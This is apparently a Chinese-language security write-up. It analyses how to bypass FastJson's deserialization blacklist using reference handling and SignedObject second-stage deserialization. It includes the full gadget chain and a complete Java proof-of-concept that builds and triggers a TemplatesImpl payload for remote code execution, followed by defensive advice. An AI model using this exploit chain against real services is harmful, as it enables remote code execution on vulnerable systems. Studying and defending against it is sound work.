FastJson结合二次反序列化绕过黑名单
字数 1384 2025-08-25 22:59:09
FastJson结合二次反序列化绕过黑名单技术分析
1. 漏洞背景
FastJson在多个版本中存在反序列化漏洞,可以通过特定利用链实现RCE(远程代码执行)。该技术利用SignedObject绕过第一层安全的resolveClass对TemplatesImpl类的检查。
利用条件:
ObjectInputStream反序列化输入数据可控- 引入了Fastjson依赖
2. 基础利用链分析
2.1 基本Gadget链
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
2.2 FastJson反序列化特点
- FastJson不是通过
ObjectInputStream.readObject()还原对象 - 在反序列化过程中自动调用类属性的setter/getter方法
- 从FastJson 1.2.49开始,
JSONArray和JSONObject重写了resolveClass,过滤了TemplatesImpl等危险类
3. 初始绕过技术
3.1 引用类型绕过
通过将TemplatesImpl对象先添加到列表中,使其变成引用类型,从而绕过JsonArray的resolveClass黑名单检测。
List<Object> list = new ArrayList<>();
TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");
list.add(templates); // 第一次添加使templates变成引用类型
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates); // 此时在hash表中查到映射,以引用形式输出
3.2 限制条件
这种绕过方式要求目标环境使用了不安全的ObjectInputStream。如果重写了ObjectInputStream并过滤了TemplatesImpl,这种方法就会失效。
4. 二次反序列化绕过技术
4.1 SignedObject介绍
SignedObject是JDK内置类,主要用于加密反序列化数据。关键特性:
- 包含一个可序列化对象和该对象的签名
getObject()方法会进行反序列化操作
public Object getObject() throws IOException, ClassNotFoundException {
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
4.2 完整Gadget链
BadAttributeValueExpException#readObject
JSONObject#toString
SignedObject#getObject (二次反序列化)
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
5. 完整利用代码
public class FJ2 {
public static void main(String[] args) throws Exception {
// 第一次反序列化准备
List<Object> list = new ArrayList<>();
TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");
list.add(templates); // 使templates变成引用类型
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates); // 在handles hash表中建立映射
BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
ReflectionUtils.setFieldValue(bd2, "val", jsonArray2);
list.add(bd2);
// 创建SignedObject进行二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable)list, kp.getPrivate(), Signature.getInstance("DSA"));
// 触发SignedObject#getObject
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null);
ReflectionUtils.setFieldValue(bd1, "val", jsonArray1);
// 验证
byte[] payload = SerializerUtils.serialize(bd1);
ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload));
ois.readObject();
}
}
6. 技术原理分析
6.1 绕过流程
- 通过
SignedObject绕过黑名单对TemplatesImpl的校验 - 触发
BadAttributeValueExpException#readObject - 通过
JSON#toString触发JSON#toJSONString - 通过
JSONSerializer#write方法处理对象 - 使用
ListSerializer处理列表内容 - 通过ASM技术创建目标类(
SignedObject)的序列化处理器 - 触发
SignedObject#getObject进行二次反序列化 - 最终通过
JSONArray#toString触发TemplatesImpl#getOutputProperties
6.2 关键点
- 利用引用类型绕过第一次
resolveClass检查 - 通过
SignedObject的getObject()方法进行二次反序列化 - 利用FastJson的自动调用getter特性触发链式调用
7. 防御建议
- 升级FastJson到最新安全版本
- 严格限制反序列化输入源
- 实现完整的类黑名单机制
- 避免使用不安全的
ObjectInputStream实现 - 对关键类如
SignedObject进行监控
8. 总结
该技术展示了如何结合FastJson特性和二次反序列化绕过安全限制,在特定条件下实现RCE。虽然实际应用场景有限,但在CTF等环境中可能作为非预期解出现。理解这种技术有助于开发者更好地防御类似攻击。